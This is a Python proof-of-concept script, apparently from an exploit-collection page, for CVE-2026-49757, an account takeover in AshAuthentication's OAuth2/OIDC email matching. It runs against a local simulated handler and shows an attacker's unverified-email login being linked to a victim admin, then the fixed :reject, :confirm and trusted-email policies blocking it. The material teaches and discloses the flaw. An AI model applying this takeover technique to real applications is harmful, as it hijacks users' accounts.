5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3
"""
CVE-2026-49757 — AshAuthentication OAuth2/OIDC Account Takeover PoC

This script demonstrates the email-based user matching vulnerability in
AshAuthentication's OAuth2 and OIDC strategies.

Attack chain:
    1. Victim registers on the target app with their email
    2. Attacker registers on an OAuth provider with victim's email
    3. Attacker signs in via OAuth — app matches by email, logs in as victim

The script also demonstrates the fix: (strategy, sub) matching with
configurable on_untrusted_email_match policy.

Requirements: Python 3.8+ (standard library only)

Usage:
    python3 exploit.py
"""

import sys
import json
from vulnerable_handler import VulnerableAuthHandler, FixedAuthHandler

BANNER = """
==============================================================================
 CVE-2026-49757 — AshAuthentication OAuth2/OIDC Account Takeover
 AshAuthentication < 4.14.0 and < 5.0.0-rc.10
 CVSS 4.0: 9.2 (Critical) · CWE-290 · GHSA-777c-2fxx-qr28
==============================================================================
"""

SECTION = "=" * 78


def demo_vulnerable():
    """Demonstrate the vulnerable email-based user matching."""

    print(SECTION)
    print("PHASE 1: VULNERABLE HANDLER — Email-Based User Matching")
    print("(Simulates AshAuthentication < 4.14.0)")
    print(SECTION)

    handler = VulnerableAuthHandler()

    # --- Step 1: Victim registers normally ---
    print("\n[1] Victim registers on the target application:")
    victim_id = handler.register_local_user(
        email="[email protected]",
        username="admin",
        role="admin",
    )
    print(f"    Created local user: id={victim_id}, [email protected], role=admin")

    # Victim also links their Google account
    print("\n    Victim links Google OAuth account:")
    victim_google_info = {
        "email": "[email protected]",
        "email_verified": True,
        "sub": "google-victim-real-12345",
        "name": "Legitimate Admin",
    }
    handler.oauth_callback("google", victim_google_info,
                           access_token="victim_google_token",
                           refresh_token="victim_google_refresh")
    victim = handler.get_user(victim_id)
    print(f"    Victim user: id={victim['id']}, email={victim['email']}, role={victim['role']}")

    # --- Step 2: Attacker registers on a DIFFERENT provider with victim's email ---
    print("\n[2] Attacker registers on Keycloak with the victim's email:")
    print("    (Attacker controls a Keycloak instance or uses a provider")
    print("     that doesn't verify email ownership)")
    attacker_provider_info = {
        "email": "[email protected]",
        "email_verified": False,
        "sub": "keycloak-attacker-fake-789",
        "name": "Attacker",
    }
    print(f"    Provider returns: {json.dumps(attacker_provider_info, indent=14)}")
    print("    Note: email_verified=False — should NOT be trusted!")

    # --- Step 3: Attacker initiates OAuth login ---
    print("\n[3] Attacker initiates OAuth2 login via the malicious provider:")
    print("    → GET /auth/keycloak/callback")
    print()

    session = handler.oauth_callback(
        "keycloak",
        attacker_provider_info,
        access_token="attacker_access_token",
        refresh_token="attacker_refresh_token",
    )

    print()
    print(f"    RESULT: {json.dumps(session, indent=14)}")

    # --- Verify the takeover ---
    print("\n[4] Verifying account takeover:")
    print(f"    Session user_id:  {session['user_id']}")
    print(f"    Session email:    {session['email']}")
    print(f"    Session role:     {session['role']}")
    print(f"    Victim user_id:   {victim_id}")

    if session["user_id"] == victim_id:
        print()
        print("    [!] [!] [!] ACCOUNT TAKEOVER SUCCESSFUL [!] [!] [!]")
        print(f"    [!] Attacker is now logged in as user_id={victim_id} (admin)")
        print(f"    [!] Attacker has role=admin")
        print(f"    [!] Session token: {session['session_token']}")
        print(f"    [!] The attacker's sub (keycloak-attacker-fake-789)")
        print(f"        has been silently linked to the victim's account")
    else:
        print("    [x] Takeover failed — unexpected result")

    handler.close()
    return session


def demo_fixed_reject():
    """Demonstrate the fixed handler with :reject policy."""

    print()
    print(SECTION)
    print("PHASE 2: FIXED HANDLER — :reject Policy (default)")
    print("(Simulates AshAuthentication >= 4.14.0)")
    print(SECTION)

    handler = FixedAuthHandler(on_untrusted_email_match="reject")

    print("\n[1] Victim registers and links Google account:")
    victim_id = handler.register_local_user(
        email="[email protected]",
        username="admin",
        role="admin",
    )
    handler.link_identity(
        strategy_name="google",
        sub="google-victim-real-12345",
        user_id=victim_id,
        user_info={
            "email": "[email protected]",
            "email_verified": True,
            "sub": "google-victim-real-12345",
        },
    )
    print(f"    Victim: id={victim_id}, [email protected], role=admin")

    print("\n[2] Attacker attempts OAuth login with victim's email:")
    print("    → GET /auth/keycloak/callback")
    print()

    attacker_info = {
        "email": "[email protected]",
        "email_verified": False,
        "sub": "keycloak-attacker-fake-789",
        "name": "Attacker",
    }

    result = handler.oauth_callback("keycloak", attacker_info)

    print()
    print(f"    RESULT: {json.dumps(result, indent=14)}")

    if "error" in result:
        print()
        print("    [OK] LOGIN DENIED — Attack blocked by :reject policy")
        print("    [OK] The attacker's sub was not found in user_identities")
        print("    [OK] Email matching was NOT performed")
        print("    [OK] Victim's account is safe")
    else:
        print("    [!] Unexpected: login succeeded")

    handler.close()
    return result


def demo_fixed_confirm():
    """Demonstrate the fixed handler with :confirm policy."""

    print()
    print(SECTION)
    print("PHASE 3: FIXED HANDLER — :confirm Policy")
    print("(User-friendly mode: email verification required for linking)")
    print(SECTION)

    handler = FixedAuthHandler(on_untrusted_email_match="confirm")

    print("\n[1] Victim registers and links Google account:")
    victim_id = handler.register_local_user(
        email="[email protected]",
        username="admin",
        role="admin",
    )
    handler.link_identity(
        strategy_name="google",
        sub="google-victim-real-12345",
        user_id=victim_id,
        user_info={
            "email": "[email protected]",
            "email_verified": True,
            "sub": "google-victim-real-12345",
        },
    )

    print("\n[2] Attacker attempts OAuth login with victim's email:")
    print("    → GET /auth/keycloak/callback")
    print()

    attacker_info = {
        "email": "[email protected]",
        "email_verified": False,
        "sub": "keycloak-attacker-fake-789",
        "name": "Attacker",
    }

    result = handler.oauth_callback("keycloak", attacker_info)

    print()
    print(f"    RESULT: {json.dumps(result, indent=14)}")

    if "confirmation_token" in result:
        print()
        print("    [OK] Confirmation token sent to [email protected]")
        print("    [OK] The VICTIM receives the email, not the attacker")
        print("    [OK] Identity will only be linked if the victim confirms")
        print("    [OK] If the victim ignores it, the attack fails")
        print("    [OK] If the victim didn't initiate this, they know")
        print("         someone is trying to access their account")
    elif "error" in result:
        print()
        print("    [OK] Login denied")

    handler.close()
    return result


def demo_fixed_trusted():
    """Demonstrate the fixed handler with trust_email_verified=true."""

    print()
    print(SECTION)
    print("PHASE 4: FIXED HANDLER — trust_email_verified? = true")
    print("(Trusted provider with email_verified=true auto-links)")
    print(SECTION)

    handler = FixedAuthHandler(
        on_untrusted_email_match="reject",
        trust_email_verified=True,
    )

    print("\n[1] Victim registers with email:")
    victim_id = handler.register_local_user(
        email="[email protected]",
        username="admin",
        role="admin",
    )

    print("\n[2] Legitimate user signs in via Google (verified email):")
    print("    → GET /auth/google/callback")
    print()

    legit_info = {
        "email": "[email protected]",
        "email_verified": True,
        "sub": "google-legitimate-user-999",
        "name": "Legitimate User",
    }

    result = handler.oauth_callback("google", legit_info)

    print()
    print(f"    RESULT: {json.dumps(result, indent=14)}")

    if "session_token" in result:
        print()
        print("    [OK] Auto-linking succeeded for trusted, verified email")
        print("    [OK] This is the expected behavior for known providers")
        print("         (GitHub, Google, Auth0, Slack, Apple)")
    else:
        print("    [!] Unexpected: login failed")

    print("\n[3] Attacker tries the same with unverified email:")
    attacker_info = {
        "email": "[email protected]",
        "email_verified": False,
        "sub": "keycloak-attacker-fake-789",
    }

    result2 = handler.oauth_callback("keycloak", attacker_info)

    print()
    print(f"    RESULT: {json.dumps(result2, indent=14)}")

    if "error" in result2:
        print()
        print("    [OK] Attack blocked — email_verified=false not trusted")
        print("    [OK] on_untrusted_email_match=:reject applies")

    handler.close()


def main():
    print(BANNER)

    print("""
This PoC demonstrates CVE-2026-49757, a critical vulnerability in
AshAuthentication where OAuth2/OIDC callbacks resolved to local user
accounts by email address instead of the (strategy, sub) identity pair.

The attack requires only:
  - Knowledge of the victim's email address
  - An account on any accepted OAuth provider with that email

CVSS 4.0: 9.2 (Critical)
CWE-290: Authentication Bypass by Spoofing
GHSA: GHSA-777c-2fxx-qr28

Affected: ash_authentication >= 0.1.0, < 4.14.0
          ash_authentication >= 5.0.0-rc.0, < 5.0.0-rc.10
Patched:  4.14.0, 5.0.0-rc.10
""")

    input("Press Enter to start Phase 1 (vulnerable handler)...")

    # Phase 1: Vulnerable
    session = demo_vulnerable()

    input("\nPress Enter to start Phase 2 (fixed: :reject)...")

    # Phase 2: Fixed with :reject
    demo_fixed_reject()

    input("\nPress Enter to start Phase 3 (fixed: :confirm)...")

    # Phase 3: Fixed with :confirm
    demo_fixed_confirm()

    input("\nPress Enter to start Phase 4 (fixed: trust_email_verified)...")

    # Phase 4: Fixed with trust_email_verified
    demo_fixed_trusted()

    print()
    print(SECTION)
    print("SUMMARY")
    print(SECTION)
    print("""
CVE-2026-49757 demonstrated that using email as a primary key for OAuth2/OIDC
user resolution leads to complete account takeover.

The fix introduces three layers of defense:
  1. (strategy, sub) as the primary lookup — never email
  2. on_untrusted_email_match policy (:reject / :confirm / :warn)
  3. trust_email_verified? per-provider flag

Key takeaway: EMAIL IS NOT IDENTITY. Only (iss, sub) uniquely and stably
identifies an end-user per OpenID Connect Core §5.7.

Sources:
  NVD:      https://nvd.nist.gov/vuln/detail/CVE-2026-49757
  GHSA:     https://github.com/team-alembic/ash_authentication/security/advisories/GHSA-777c-2fxx-qr28
  OIDC §5.7: https://openid.net/specs/openid-connect-core-1_0.html#ClaimStability
""")
    print(SECTION)


if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n\n[!] Interrupted by user.")
        sys.exit(1)
    except EOFError:
        print("\n\n[!] Running non-interactively — skipping prompts.")
        demo_vulnerable()
        demo_fixed_reject()
        demo_fixed_confirm()
        demo_fixed_trusted()
        print("\n[DONE] All phases completed.")